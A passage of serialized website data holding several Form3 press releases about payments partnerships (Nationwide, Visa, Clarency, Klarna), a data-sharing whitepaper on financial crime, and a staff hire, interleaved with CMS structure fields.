transactions.",{"dimensions":3229,"alt":3226,"copyright":5,"url":3230,"id":3231,"edit":3232},{"width":412,"height":412},"\u002F_prismic-media\u002F4bb37b02e3504851-bOwYNr7nAS5DSyK2_nationwide-building-society-acc.svg","bOwYNr7nAS5DSyK2",{"x":398,"y":398,"zoom":399,"background":650},"2023-03-07",{"dimensions":3235,"alt":5,"copyright":5,"url":3236,"id":3237,"edit":3238},{"width":501,"height":646},"\u002F_prismic-media\u002Fab6f19c5a5304d4e-e1OjEe8p-4rAfDjT_c9d398f9-9f08-4964-b8d9-dc7e1c3.jpg","e1OjEe8p-4rAfDjT",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[3245,3270,3278],{"variation":437,"version":438,"items":3246,"primary":3247,"id":3269,"slice_type":468,"slice_label":5},[],{"body":3248},[3249,3252,3254,3257,3260,3263,3266],{"type":746,"text":3250,"spans":3251},"Enhancing the customer experience",[],{"type":25,"text":3227,"spans":3253},[],{"type":25,"text":3255,"spans":3256},"As digital payments continue to grow, the cost-efficient solution has been designed with resilience and compliance at the core, enabling Nationwide to future-proof its operations for regulatory changes such as ISO 20022. Based on an account-to-account platform, the Form3 cloud solution connects financial institutions to payments schemes such as Faster Payments and BACS. Building on a decade long collaboration, Accenture was selected by Nationwide as the strategic delivery partner for its payments modernisation program, bringing deep expertise in this space, along with strong cloud engineering and architecture capabilities.",[],{"type":25,"text":3258,"spans":3259},"Otto Benz, Payments Director at Nationwide Building Society said, “We’ve seen exponential growth in cashless payments in the UK, with Nationwide processing around 430 million transactions each year. We needed a solution that will evolve alongside our business, facilitating an increasing volume of payments whilst meeting the expectations of our customers. This project, in collaboration with Form3 and Accenture is a major step in simplifying and strengthening our payments processing.”",[],{"type":25,"text":3261,"spans":3262},"Through a series of phases which launched in 2022, Nationwide is to migrate all types of retail payments from an on-premise platform to the Form3 cloud, with a robust process in place to ensure there is no impact for its customers.",[],{"type":25,"text":3264,"spans":3265},"“The accelerating digitisation of payments, coupled with economic volatility, means that consumers are re-evaluating how they pay and move their money,” added Sulabh Agarwal, Global Payments lead at Accenture. “Nationwide’s transformation is an excellent example of a traditional financial institution embracing next generation payments and recognising the importance of delivering seamless customer experiences at speed and scale – supporting future growth and relevance in the payments space.”",[],{"type":25,"text":3267,"spans":3268},"Michael Mueller, Form3 CEO, commented: “As digital payments increase, many financial institutions are starting to modernise their infrastructure to compete effectively. Working with Accenture, Form3 will help Nationwide transition their payment processing to one of the most modern, efficient, secure and resilient platforms in the market without impacting on service delivery.”",[],"rich_text$720c633a-7889-480b-8fa4-4eef2c489c0c",{"variation":437,"version":438,"items":3271,"primary":3272,"id":3277,"slice_type":583,"slice_label":5},[],{"quote":3273,"attribution_name":921,"attribution_role":922},[3274],{"type":25,"text":3275,"spans":3276},"Working with Accenture, Form3 will help Nationwide transition their payment processing to one of the most modern, efficient, secure and resilient platforms in the market without impacting on service delivery.",[],"pull_quote$f83e25e6-f3cc-4f5d-b6f0-0b85a434085c",{"variation":437,"version":438,"items":3279,"primary":3280,"id":3333,"slice_type":468,"slice_label":5},[],{"body":3281},[3282,3285,3317,3320,3328,3330],{"type":474,"text":3283,"spans":3284},"About Nationwide Building Society",[],{"type":25,"text":3286,"spans":3287},"Nationwide is the world's largest building society as well as one of the largest savings providers and a top-three provider of mortgages in the UK. It is also a major provider of current accounts, credit cards, ISAs and personal loans. Nationwide has around 15 million customers. Customers can manage their finances in a branch, via the mobile app, on the telephone, internet and post. The Society has around 18,000 employees. Nationwide's head office is in Swindon with administration centres based in Northampton, Bournemouth and Dunfermline. The Society also has a number of call centres across the UK.",[3288,3293,3298,3303,3308,3313],{"start":3289,"end":3290,"type":489,"data":3291},81,88,{"link_type":491,"url":3292},"https:\u002F\u002Fwww.nationwide.co.uk\u002Fproducts\u002Fsavings\u002Four-savings-accounts\u002Fall-savings-accounts",{"start":3294,"end":3295,"type":489,"data":3296},127,136,{"link_type":491,"url":3297},"https:\u002F\u002Fwww.nationwide.co.uk\u002Fproducts\u002Fmortgages\u002Four-mortgages\u002Fwho-we-can-help",{"start":3299,"end":3300,"type":489,"data":3301},179,195,{"link_type":491,"url":3302},"https:\u002F\u002Fwww.nationwide.co.uk\u002Fproducts\u002Fcurrent-accounts\u002Four-current-accounts\u002Foverview",{"start":3304,"end":3305,"type":489,"data":3306},197,209,{"link_type":491,"url":3307},"https:\u002F\u002Fwww.nationwide.co.uk\u002Fproducts\u002Fcredit-cards\u002Four-credit-cards\u002Four-cards",{"start":3309,"end":3310,"type":489,"data":3311},211,215,{"link_type":491,"url":3312},"https:\u002F\u002Fwww.nationwide.co.uk\u002Fproducts\u002Fisas\u002Fall-isa-accounts",{"start":3314,"end":3188,"type":489,"data":3315},220,{"link_type":491,"url":3316},"https:\u002F\u002Fwww.nationwide.co.uk\u002Fproducts\u002Floans\u002Fpersonal-loans\u002Ffeatures-and-benefits",{"type":474,"text":3318,"spans":3319},"About Accenture",[],{"type":25,"text":3321,"spans":3322},"Accenture is a leading global professional services company that helps the world’s leading businesses, governments and other organizations build their digital core, optimize their operations, accelerate revenue growth and enhance citizen services—creating tangible value at speed and scale. We are a talent and innovation led company with 738,000 people serving clients in more than 120 countries. Technology is at the core of change today, and we are one of the world’s leaders in helping drive that change, with strong ecosystem relationships. We combine our strength in technology with unmatched industry experience, functional expertise and global delivery capability. We are uniquely able to deliver tangible outcomes because of our broad range of services, solutions and assets across Strategy & Consulting, Technology, Operations, Industry X and Accenture Song. These capabilities, together with our culture of shared success and commitment to creating 360° value, enable us to help our clients succeed and build trusted, lasting relationships. We measure our success by the 360° value we create for our clients, each other, our shareholders, partners and communities. Visit us at www.accenture.com.",[3323],{"start":3324,"end":3325,"type":489,"data":3326},1188,1205,{"link_type":491,"url":3327},"http:\u002F\u002Fwww.accenture.com",{"type":474,"text":475,"spans":3329},[],{"type":25,"text":3331,"spans":3332},"Form3 is the account-to-account platform. Founded In 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of UK and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 has been awarded Payments Innovation of the Year 2022 by Payments Awards, Most Innovative Mobile or Financial Service Payments Solution 2022 by PAY360 Awards, Payments Innovation of the Year 2022 by FSTech Awards and was shortlisted as Diversity Champion of the Year 2022 run by British Diversity Awards. ",[],"rich_text$f73bd191-7d63-4562-aaf5-5204effbd7f1",{"id":3335,"uid":3336,"type":406,"data":3337},"alw31REAACcAT77S","the-payments-association-whitepaper-in-collaboration-with-form3",{"title":3338,"excerpt":3339,"card_image":3340,"published_date":3345,"reading_time":418,"tag":231,"dek":5,"featured_image":3346,"about_form3":3351,"client_about_heading":5,"client_about_body":3352,"author_name":5,"author_title":5,"author_photo":3353,"author_bio":3354,"author_linkedin":3355,"slices":3356,"meta_title":3417,"meta_description":3418},"Data sharing to prevent Economic Crime: Why you can now share data with confidence","In today’s fast-paced world, the complexity of economic crime continues to increase, making data sharing and collaboration critical in its detection and prevention. This whitepaper highlights how the payments industry approaches data sharing, provides an inside scoop on the proposed legislation in the U.K. that will support a better regulatory framework for data sharing, and pulls on a range of data-sharing initiatives from around the world that are mitigating the risks that come from low collaboration and siloed data.",{"dimensions":3341,"alt":3338,"copyright":5,"url":3342,"id":3343,"edit":3344},{"width":412,"height":412},"\u002F_prismic-media\u002Fbf4c9595e00e01dd-dD8CJfIESdAw9Lqe_the-payments-association-whitep.jpg","dD8CJfIESdAw9Lqe",{"x":398,"y":398,"zoom":399,"background":650},"2023-04-18",{"dimensions":3347,"alt":5,"copyright":5,"url":3348,"id":3349,"edit":3350},{"width":501,"height":646},"\u002F_prismic-media\u002F8951221b076384df-4kABeq_14SHY1MMP_e2445b55-7b5a-4cc9-b8e5-fa13816.jpg","4kABeq_14SHY1MMP",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[3357,3383,3409],{"variation":437,"version":438,"items":3358,"primary":3359,"id":3382,"slice_type":468,"slice_label":5},[],{"body":3360},[3361,3364,3372,3376,3379],{"type":25,"text":3362,"spans":3363},"Form3 in partnership with The Payments Association has released a new whitepaper examining the current arrangements for sharing data to prevent financial crime in the UK, citing collaboration between regulated entities and between public and private sector is key to progress on data sharing to prevent financial crime. The report also presents the changes that may be introduced by the relevant provisions of the Economic Crime and Corporate Transparency Bill, now making its way through Parliament. ",[],{"type":25,"text":3365,"spans":3366},"Global estimates suggest $2 trillion is laundered annually and fraud is now at epidemic levels. Illicit finance has become one of the world’s most prevalent businesses – “economic crime is, in short, the crime of our times, and is increasingly being recognised as a threat to the UK’s national security”.  With the government having a firm spotlight on economic crime and fraud, the whitepaper, entitled ‘Data Sharing to prevent Financial Crime: Why you can now share data with confidence’, sets out clear recommendations about ways in which data sharing in the UK could be improved to prevent financial crime while taking account of existing and forthcoming privacy legislation, including:",[3367],{"start":3368,"end":3369,"type":489,"data":3370},405,488,{"link_type":491,"url":3371},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Fwhitepaper-data-sharing-to-prevent-economic-crime",{"type":3373,"text":3374,"spans":3375},"o-list-item","Collaboration both between regulated entities and between public and private sector is key to progress on data sharing to prevent financial crime. ",[],{"type":3373,"text":3377,"spans":3378},"Confidence in their ability to share data without risk of prosecution is vital for financial institutions to be able to combat financial crime.",[],{"type":3373,"text":3380,"spans":3381},"The position of data providers to financial institutions, not just regulated entities, must be covered in both legislation and guidance as many financial institutions want to be able to use the latest technology and data and do not have the technical resources or are too small to do this for themselves.",[],"rich_text$17c641ac-5025-421a-885d-f7a3a17a1583",{"variation":437,"version":438,"items":3384,"primary":3385,"id":3408,"slice_type":468,"slice_label":5},[],{"body":3386},[3387,3390,3393,3398,3403],{"type":25,"text":3388,"spans":3389},"The whitepaper also surveyed the membership of The Payments Association and identified several key issues which prevent the effective and privacy-conscious sharing of data to prevent financial crime: balancing data privacy and the need to share data, siloed data within firms, inconsistent formatting of data, criminal exploitation of technology, the cross-border nature of financial crime and the multiple data-handing laws across borders.",[],{"type":25,"text":3391,"spans":3392},"Most commentators agree that the very limited way that the financial industry is sharing information today is outdated and must be vastly improved if the UK wants to stop the rising tide of financial crime. A robust data-driven (preferably global) solution is, therefore, seen as critical. The whitepaper, finds the nation is now at now at a crossroads where many forces are aligning to open up the opportunity for more effective data sharing both within the public sector, within the private sector and between each sector. ",[],{"type":25,"text":3394,"spans":3395},"Jane Jee, Lead of Project Financial Crime at The Payments Association, said: \"The UK lacks the infrastructure to effectively defeat fraud and financial crime. Criminals operate without regard to our laws and our borders. Therefore, data sharing is a crucial part of any organisation’s armoury to stop them. This report is a must read for all financial institutions concerned about the rising tide of crime.\" ",[3396],{"start":398,"end":3397,"type":593},69,{"type":25,"text":3399,"spans":3400},"Michael Mueller, Chief Executive Officer at Form3 – Benefactor for Project Financial Crime at The Payments Association, added: “The effective use of data sharing within the payment ecosystem can deliver a seismic shift in collaboratively combatting Financial Crime. This whitepaper reflects the current barriers to data sharing that financial institutions in the UK face as well as the opportunities that can be realised when these can be overcome.”",[3401],{"start":398,"end":3402,"type":593},118,{"type":25,"text":3404,"spans":3405},"Tony Craddock, Director General of The Payments Association, commented: “We are very excited to share the results of this report. Every one of us has our payments data shared with agencies in the UK and sometimes elsewhere for the purpose of complying with anti-money laundering legislation and fraud protection, so it is vitally important that individuals, businesses and governments all understands what is possible, what doesn’t work and what is necessary to keep everyone involved in the payment landscape secure.”",[3406],{"start":398,"end":3407,"type":593},61,"rich_text$054a69cf-4b41-4af0-954f-64e672976ea9",{"variation":437,"version":438,"items":3410,"primary":3411,"id":3416,"slice_type":583,"slice_label":5},[],{"quote":3412,"attribution_name":921,"attribution_role":922},[3413],{"type":25,"text":3414,"spans":3415},"This whitepaper reflects the current barriers to data sharing that financial institutions in the UK face as well as the opportunities that can be realised when these can be overcome.",[],"pull_quote$ca71250f-44d0-4c5d-bd5e-ce59f7095782","How collaboration is key for fraud prevention whitepaper","The Payments Association’s research sets out opportunities in sharing data between public and private entities, capitalising on the UK Government’s focus on economic crime and fraud.",{"id":3420,"uid":3421,"type":406,"data":3422},"alw38BEAACwAT79f","jeremy-bambace-joins-form3-as-a-us-product-manager",{"title":3423,"excerpt":3424,"card_image":3425,"published_date":3430,"reading_time":506,"tag":231,"dek":3424,"featured_image":3431,"about_form3":3432,"client_about_heading":5,"client_about_body":3433,"author_name":5,"author_title":5,"author_photo":3434,"author_bio":3435,"author_linkedin":3436,"slices":3437,"meta_title":3423,"meta_description":3424},"Jeremy Bambace joins Form3 as a US Product Manager","Form3, the leading cloud-native payment technology provider, today announced it has further expanded its US team to further enhance its innovative payments products to support new and existing customer growth.",{"dimensions":3426,"alt":3423,"copyright":5,"url":3427,"id":3428,"edit":3429},{"width":412,"height":412},"\u002F_prismic-media\u002F75fe1d920f12a520-5SpxTMSKsT8hPlPh_jeremy-bambace-joins-form3-as-a.png","5SpxTMSKsT8hPlPh",{"x":398,"y":398,"zoom":399,"background":400},"2022-07-27",{},[],[],{},[],{"link_type":434},[3438],{"variation":437,"version":438,"items":3439,"primary":3440,"id":3453,"slice_type":468,"slice_label":5},[],{"body":3441},[3442,3444,3447,3450],{"type":746,"text":2591,"spans":3443},[],{"type":25,"text":3445,"spans":3446},"Jeremy Bambace joins as Senior Product Manager where he will help develop Form3’s product roadmap, specializing in ACH and RTP capabilities. He has a strong knowledge of both US and European payments infrastructure. Jeremy has over eleven years’ financial services experience. He joins Form3 from JPMorgan Chase & Co., where he also held a Senior Product Manager role, most recently responsible for the Global ISO 20022 migration. ",[],{"type":25,"text":3448,"spans":3449},"“We’re very happy to welcome Jeremy on board. He has deep payments product knowledge, and this will help Form3 gain new customers across the US. It’s very useful that Jeremy has solid experience in US and European payments systems, as this will help us expand in these two key markets. I am certain he will be an asset to Form3 and our customers, as he develops new products that will see us be the leading cloud technology payments provider.” ",[],{"type":25,"text":3160,"spans":3451},[3452],{"start":3041,"end":690,"type":593},"rich_text$099544a9-776e-41c6-9c61-ea617cad9c77",{"id":3455,"uid":3456,"type":406,"data":3457},"alw3yBEAAC4AT76M","visa-invests-in-form3-reducing-fraud-and-increasing-operational-efficiency",{"title":3458,"excerpt":3459,"card_image":3460,"published_date":3465,"reading_time":506,"tag":231,"dek":5,"featured_image":3466,"about_form3":3471,"client_about_heading":5,"client_about_body":3472,"author_name":5,"author_title":5,"author_photo":3473,"author_bio":3474,"author_linkedin":3475,"slices":3476,"meta_title":3458,"meta_description":3459},"Visa invests in Form3 with a focus on reducing fraud and increasing operational efficiency in real-time payments","Form3 today announces that Visa, a world leader in digital payments, has invested in the cloud-native account-to-account platform, which will help Form3 continue its expansion. This funding is in parallel to news that Form3 will provide Visa’s clients with access to their best-in-class payments platform, to enable them to modernise their payments’ infrastructure.",{"dimensions":3461,"alt":3458,"copyright":5,"url":3462,"id":3463,"edit":3464},{"width":412,"height":412},"\u002F_prismic-media\u002F4d92b6c8d920f739-LdYoIVFcbgGLGAUr_visa-invests-in-form3-reducing-.jpg","LdYoIVFcbgGLGAUr",{"x":398,"y":398,"zoom":399,"background":650},"2023-09-12",{"dimensions":3467,"alt":5,"copyright":5,"url":3468,"id":3469,"edit":3470},{"width":501,"height":646},"\u002F_prismic-media\u002Fbdbb5a39981c0679-Q5qZIicrhBk5XVHz_39c847fd-8cf5-420a-9302-d3a85d7.jpg","Q5qZIicrhBk5XVHz",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[3477,3501],{"variation":437,"version":438,"items":3478,"primary":3479,"id":3500,"slice_type":468,"slice_label":5},[],{"body":3480},[3481,3488,3491,3494,3497],{"type":25,"text":3482,"spans":3483},"Form3 today announces that Visa, a world leader in digital payments, has invested in the cloud-native account-to-account platform, which will help Form3 continue its expansion. This funding is in parallel to news that Form3 will provide Visa’s clients with access to their best-in-class payments platform, to enable them to modernise their payments’ infrastructure. ",[3484],{"start":3485,"end":690,"type":489,"data":3486},27,{"link_type":491,"url":3487},"https:\u002F\u002Fwww.visa.co.uk\u002F",{"type":25,"text":3489,"spans":3490},"The new commercial partnership aims to bring our capabilities together in an effort to reduce high levels of fraud in real-time account-to-account payments, which includes building on Form3’s single API connectivity.  ",[],{"type":25,"text":3492,"spans":3493},"Michael Mueller, Form3’s CEO, says: “Today’s Visa funding and partnership announcement demonstrates the confidence that they have in Form3’s ability to deliver for their customers. We are delighted with this unique partnership we have built in collaboration with Visa which enables us together to continue to offer best-in-class services for the world’s most established banks and financial institutions.”",[],{"type":25,"text":3495,"spans":3496},"Jack Forestell, Visa’s Chief Product and Strategy Officer, adds “A2A payments continue to grow in key segments and markets and Visa and Form3’s partnership will look to offer modern cloud-native access to real-time payment infrastructures. Together we can grow confidence in real-time A2A payments, as we seek to combine Form3’s FinCrime Orchestration service with Visa’s deep learning AI and real-time risk scoring to help financial institution clients better manage the risk of sending and receiving real-time A2A payments.” ",[],{"type":25,"text":3498,"spans":3499},"The Visa investment will enable Form3 to continue its growth journey, developing new products and services, and expanding into new territories, where the emergence of real-time payment solutions are becoming essential. ",[],"rich_text$4ea738bd-6482-45f0-8bc9-49887e9d5f2f",{"variation":437,"version":438,"items":3502,"primary":3503,"id":3509,"slice_type":468,"slice_label":5},[],{"body":3504},[3505,3507],{"type":474,"text":475,"spans":3506},[],{"type":25,"text":1853,"spans":3508},[],"rich_text$be037bd0-adc6-4449-b922-1a0438e07e56",{"id":3511,"uid":3512,"type":406,"data":3513},"alw33BEAAC4AT772","form3-signs-clarency-for-swift-api-solution",{"title":3514,"excerpt":3515,"card_image":3516,"published_date":3521,"reading_time":418,"tag":231,"dek":3522,"featured_image":3523,"about_form3":3528,"client_about_heading":5,"client_about_body":3529,"author_name":5,"author_title":5,"author_photo":3530,"author_bio":3531,"author_linkedin":3532,"slices":3533,"meta_title":3514,"meta_description":3593},"Form3 Signs Clarency As First International Customer For Its Swift Solution","Leading fintech will be able to connect to over 11,000 institutions on the Swift network.",{"dimensions":3517,"alt":3514,"copyright":5,"url":3518,"id":3519,"edit":3520},{"width":412,"height":412},"\u002F_prismic-media\u002F78f108a484144704-YnzVKuMnbe-EWVli_form3-signs-clarency-for-swift-.svg","YnzVKuMnbe-EWVli",{"x":398,"y":398,"zoom":399,"background":650},"2023-02-23","Leading fintech will be able to connect to over 11,000 institutions on the Swift network",{"dimensions":3524,"alt":3514,"copyright":5,"url":3525,"id":3526,"edit":3527},{"width":501,"height":646},"\u002F_prismic-media\u002F459ab3afee251601-v-ZMamZjjSmmjC9m_1797804a-198a-4baa-879b-b290e5f.jpg","v-ZMamZjjSmmjC9m",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[3534,3566,3574],{"variation":437,"version":438,"items":3535,"primary":3536,"id":3565,"slice_type":468,"slice_label":5},[],{"body":3537},[3538,3541,3547,3550,3553,3556,3559,3562],{"type":746,"text":3539,"spans":3540},"Enabling further customer growth",[],{"type":25,"text":3542,"spans":3543},"Clarency takes a further significant step in integrating its KYC-first payments and liquidity platform into core banking with its announcement today of selecting Form3, the cloud-native account-to-account platform, to provide it with direct access to the Swift network. The move extends its support for international payments and enables further customer growth. Clarency is the first customer on Form3’s Swift-as-a-service solution. ",[3544],{"start":398,"end":1633,"type":489,"data":3545},{"link_type":491,"url":3546},"https:\u002F\u002Fwww.clarency.com",{"type":25,"text":3548,"spans":3549},"The new collaboration will enable Clarency’s international customers, mainly financial institutions, challenger banks, remittance firms and small businesses, to send and receive international payments on the Swift network. The company currently processes transactions across its twelve core, instant-liquidity currencies and more than 100 less frequently requested exotics.",[],{"type":25,"text":3551,"spans":3552},"Clarency will have easy access to the full Swift network via Form3’s cloud-based API. Once live, the new service will be fully automated and allow over 11,000 financial institutions to communicate using their accustomed channel for international payments and cash-management services.  ",[],{"type":25,"text":3554,"spans":3555},"Michael Mueller, Form3’s CEO, says: “As financial institutions make the shift from MT to ISO20022 for payments, Form3’s account-to-account cloud technology platform is fast, reliable and adaptable to modernise and upgrade their underlying Swift infrastructure. The collaboration with Clarency demonstrates our ambition to extend our offering to providing international and cross-border payment services to organisations globally.\"",[],{"type":25,"text":3557,"spans":3558},"A key business benefit of Form3’s Swift-as-a-service solution includes the reduction of operational costs and overheads by leveraging scalable cloud-based services. It also enables customers to future proof their payment systems and remain compliant with new Swift messaging standards.  ",[],{"type":25,"text":3560,"spans":3561},"Bob Blower, Clarency’s CEO Designate, adds: “Seamless Swift integration has been part of our progress plan since our launch of the biz.Clarency platform. Clarency platform. It allows us to greatly extend the transaction information available to our partners beyond the 140 characters supported by the MT103 message. We looked for a technology partner that could connect us to Swift and had the partnership mindset that allows us to innovate together. Form3 ticked both boxes with the enthusiasm that we hoped for. Their cloud platform will expand our payment capabilities safely and reliably and keep pushing forward. The Swift integration is a key element of our move towards self-clearing. I’m convinced Form3 are the guys to help us get there.”",[],{"type":25,"text":3563,"spans":3564},"Clarency will offer customer access to Form3’s Swift-as-a-service solution from May this year. ",[],"rich_text$f46d231a-d7fc-4b3c-bc8e-a1d9b9f9a332",{"variation":437,"version":438,"items":3567,"primary":3568,"id":3573,"slice_type":583,"slice_label":5},[],{"quote":3569,"attribution_name":921,"attribution_role":922},[3570],{"type":25,"text":3571,"spans":3572},"The collaboration with Clarency demonstrates our ambition to extend our offering to providing international and cross-border payment services to organisations globally.",[],"pull_quote$8de3e7ff-5ff4-42d1-9185-a2cbd9c60987",{"variation":437,"version":438,"items":3575,"primary":3576,"id":3592,"slice_type":468,"slice_label":5},[],{"body":3577},[3578,3580,3586,3589],{"type":474,"text":475,"spans":3579},[],{"type":25,"text":3581,"spans":3582},"Form3 is the account-to-account platform. Founded In 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of the UK’s and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 has been awarded Payments Innovation of the Year 2022 by Payments Awards, Most Innovative Mobile or Financial Service Payments Solution 2022 by PAY360 Awards, Payments Innovation of the Year 2022 by FSTech Awards and was shortlisted as Diversity Champion of the Year 2022 run by British Diversity Awards.\n",[3583],{"start":3584,"end":3585,"type":593},709,710,{"type":474,"text":3587,"spans":3588},"About Clarency ",[],{"type":25,"text":3590,"spans":3591},"Clarency is a licensed Major Payments Institution based in Singapore. It enables liquidity and performs settlements that connect clients with limited or no access to correspondent accounts to global finance. Its KYC-first processes employ exceptionally high levels of transactional diligence, with all transactions, activities and background information stored using next-generation blockchain technologies. The company’s principal focus is on facilitating commercial payments for imports and exports to and from countries with poor infrastructure and minimal access to safe, cost-effective global banking. Clarency’s biz. Clarency platform currently handles more than $3 billion per year, with growth now exceeding 50% year-on-year.",[],"rich_text$8aa52202-22bf-45e9-b336-91e033afa508","Clarency takes a further significant step in integrating its KYC-first payments and liquidity platform into core banking with its announcement today of selecting Form3, the cloud-native account-to-account platform, to provide it with direct access to the Swift network.",{"id":3595,"uid":3596,"type":406,"data":3597},"alw34xEAACkAT78X","form3-sponsors-payments-association-working-group-to-tackle-uk-digital-and-financial-crime",{"title":3598,"excerpt":3599,"card_image":3600,"published_date":3606,"reading_time":506,"tag":419,"dek":5,"featured_image":3607,"about_form3":3613,"client_about_heading":5,"client_about_body":3614,"author_name":5,"author_title":5,"author_photo":3615,"author_bio":3616,"author_linkedin":3617,"slices":3618,"meta_title":3598,"meta_description":3599},"Form3 sponsors Payments Association Working Group to tackle UK digital and financial crime","Form3, the cloud-native account-to-account platform, today announces that it is sponsoring the Payment Association's Project Financial Crime Working Group this year, to address the challenges of tackling increasing levels of digital and financial crime in the UK.",{"dimensions":3601,"alt":3602,"copyright":5,"url":3603,"id":3604,"edit":3605},{"width":412,"height":412},"Financial Crime ","\u002F_prismic-media\u002Fe106f93b7a595a1b-V1oG89dwvFh_K0XB_form3-sponsors-payments-associa.png","V1oG89dwvFh_K0XB",{"x":398,"y":398,"zoom":399,"background":400},"2023-01-25",{"dimensions":3608,"alt":3609,"copyright":5,"url":3610,"id":3611,"edit":3612},{"width":501,"height":646},"the payments association","\u002F_prismic-media\u002Ff7bb72f00d67e416-7ZH6UPJJMsXJOIQE_92c4fa5d-9571-4c4c-93c1-c2dcad2.jpg","7ZH6UPJJMsXJOIQE",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[3619,3631,3651],{"variation":437,"version":438,"items":3620,"primary":3621,"id":3630,"slice_type":468,"slice_label":5},[],{"body":3622},[3623,3626],{"type":25,"text":3624,"spans":3625},"Form3, the cloud-native account-to-account platform, today announces that it is sponsoring the Payment Association’s Project Financial Crime Working Group this year, to address the challenges of tackling increasing levels of digital and financial crime in the UK. ",[],{"type":25,"text":3627,"spans":3628},"As benefactors of the project, Form3 will lead on industry collaboration among financial institutions to develop strategies to enable banks to deal with the ever- increasing threat of financial crime. This activity is timely, as UK-based customers lost £583 million to authorised push payment (APP) scams in 2021, up by 39% on 2020. ",[3629],{"start":690,"end":1481,"type":593},"rich_text$9320108a-6a4a-4848-ac2d-cce3897ffad9",{"variation":437,"version":438,"items":3632,"primary":3633,"id":3650,"slice_type":468,"slice_label":5},[],{"body":3634},[3635,3641,3644,3647],{"type":25,"text":3636,"spans":3637},"Nick Fleetwood, Head of Data Services, Form3, commented: “The scale of financial fraud shows no sign of slowing down. This working group will help foster collaboration and shape the agenda and discussion around combating fraud. This activity will also provide insights and opinions for those involved in leading the regulation of UK financial services as they tackle digital crime.”",[3638],{"start":3639,"end":3640,"type":765},57,382,{"type":25,"text":3642,"spans":3643},"Form3 felt it was best placed to support the industry in its fight against financial crime due to it being a leader in the payments space with new services being brought to market to meet the challenges of Financial Crime. This was recognised by the Payments Association, as it seeked a leading industry figure that already had strong relationships with major UK and international banks. ",[],{"type":25,"text":3645,"spans":3646},"In terms of deliverables, Form3 will coordinate the group’s activity to produce insights and research, white papers, webinars and reports offering guidance on tackling UK financial crime in partnership with the Payments Association. ",[],{"type":25,"text":3648,"spans":3649},"‘The only way we solve the problems of payments-related financial crime is if companies support the community’s work.’ said Tony Craddock, Director General, Payments Association. ‘And Form3 is providing this support for the year ahead, acting as a catalyst for coordinated action. That’s leadership, the payments way’.",[],"rich_text$c2d6f173-b670-4479-bbe7-9586fa94bcdc",{"variation":437,"version":438,"items":3652,"primary":3653,"id":3660,"slice_type":583,"slice_label":5},[],{"quote":3654,"attribution_name":3658,"attribution_role":3659},[3655],{"type":25,"text":3656,"spans":3657},"The only way we solve the problems of payments-related financial crime is if companies support the community’s work.",[],"Tony Craddock","Director General, Payments Association","pull_quote$15490594-403d-49bf-89b7-c02388efcdf6",{"id":3662,"uid":3663,"type":406,"data":3664},"alw3wREAACkAT75r","klarna-european-payments",{"title":3665,"excerpt":3666,"card_image":3667,"published_date":3673,"reading_time":418,"tag":379,"dek":3674,"featured_image":3675,"about_form3":3681,"client_about_heading":5,"client_about_body":3682,"author_name":5,"author_title":5,"author_photo":3683,"author_bio":3684,"author_linkedin":3685,"slices":3686,"meta_title":3738,"meta_description":3739},"Form3 to support Klarna’s European Payments","Form3 is delighted to announce it will be providing Klarna, the AI-powered payments network and shopping assistant, with SEPA connectivity to bolster its customer offering in Europe as part of its wider international growth strategy.",{"dimensions":3668,"alt":3669,"copyright":5,"url":3670,"id":3671,"edit":3672},{"width":412,"height":412},"Klarna","\u002F_prismic-media\u002F996b4718531417a8-vNWTlQqmqt1zNuVd_klarna-european-payments.png","vNWTlQqmqt1zNuVd",{"x":398,"y":398,"zoom":399,"background":400},"2023-11-21","Form3 to provide SEPA Instant, Credit Transfer and Direct Debit connectivity for Klarna’s 150m active customers across more than 500,000 merchants.",{"dimensions":3676,"alt":3677,"copyright":5,"url":3678,"id":3679,"edit":3680},{"width":501,"height":646},"Form3 x Klarna","\u002F_prismic-media\u002F1d77349ec423d20b-kKX4LpDoXx5hx4Tb_dd165bad-0c84-46f8-830b-0367215.jpg","kKX4LpDoXx5hx4Tb",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[3687,3707,3718],{"variation":437,"version":438,"items":3688,"primary":3689,"id":3706,"slice_type":468,"slice_label":5},[],{"body":3690},[3691,3694,3697,3700,3703],{"type":25,"text":3692,"spans":3693},"Form3, the cloud-native account-to-account platform, is delighted to announce it will be providing Klarna, the AI-powered payments network and shopping assistant, with SEPA connectivity to bolster its customer offering in Europe as part of its wider international growth strategy. ",[],{"type":25,"text":3695,"spans":3696},"The new agreement sees Form3 providing Klarna with direct technical access to STEP2 and RT1 via its cloud-based, single API account-to-account platform. This will enable Klarna to process these payments directly rather than being dependent on third party banks. The addition of SEPA Instant as a payment flow will also create new payment use cases and ensure that Klarna stays ahead of the incoming mandate*. ",[],{"type":25,"text":3698,"spans":3699},"Mike Walters, Form3’s CEO, says: “Providing SEPA connectivity to Klarna, one of the biggest, most technically-advanced fintechs in the world, further demonstrates Form3’s ability to process payments at scale, as this becomes critical for market leaders. This partnership also reinforces the ongoing trend in Europe for more organisations to connect directly to payment schemes to improve resilience and their end customers’ experience.”",[],{"type":25,"text":3701,"spans":3702},"Form3’s platform will process and manage all of Klarna’s inbound and outbound SEPA payments across these schemes and fully automate some of the manual payment processes typical to many banks, such as returns, recalls and refunds. This will drive efficiency gains and significant cost savings. In addition, Form3’s technology is designed to future-proof Klarna against regulatory changes such as the Digital Operational Resilience Act (DORA). ",[],{"type":25,"text":3704,"spans":3705},"Felix Würtenberger, Head of Banking at Klarna, comments: “We are grateful for the opportunity to collaborate with Form3 and utilize their SEPA connectivity to enhance our customer offering in Europe. This partnership holds the potential to drive efficiency gains, cost savings, and ultimately improve the overall experience for our customers and merchants in 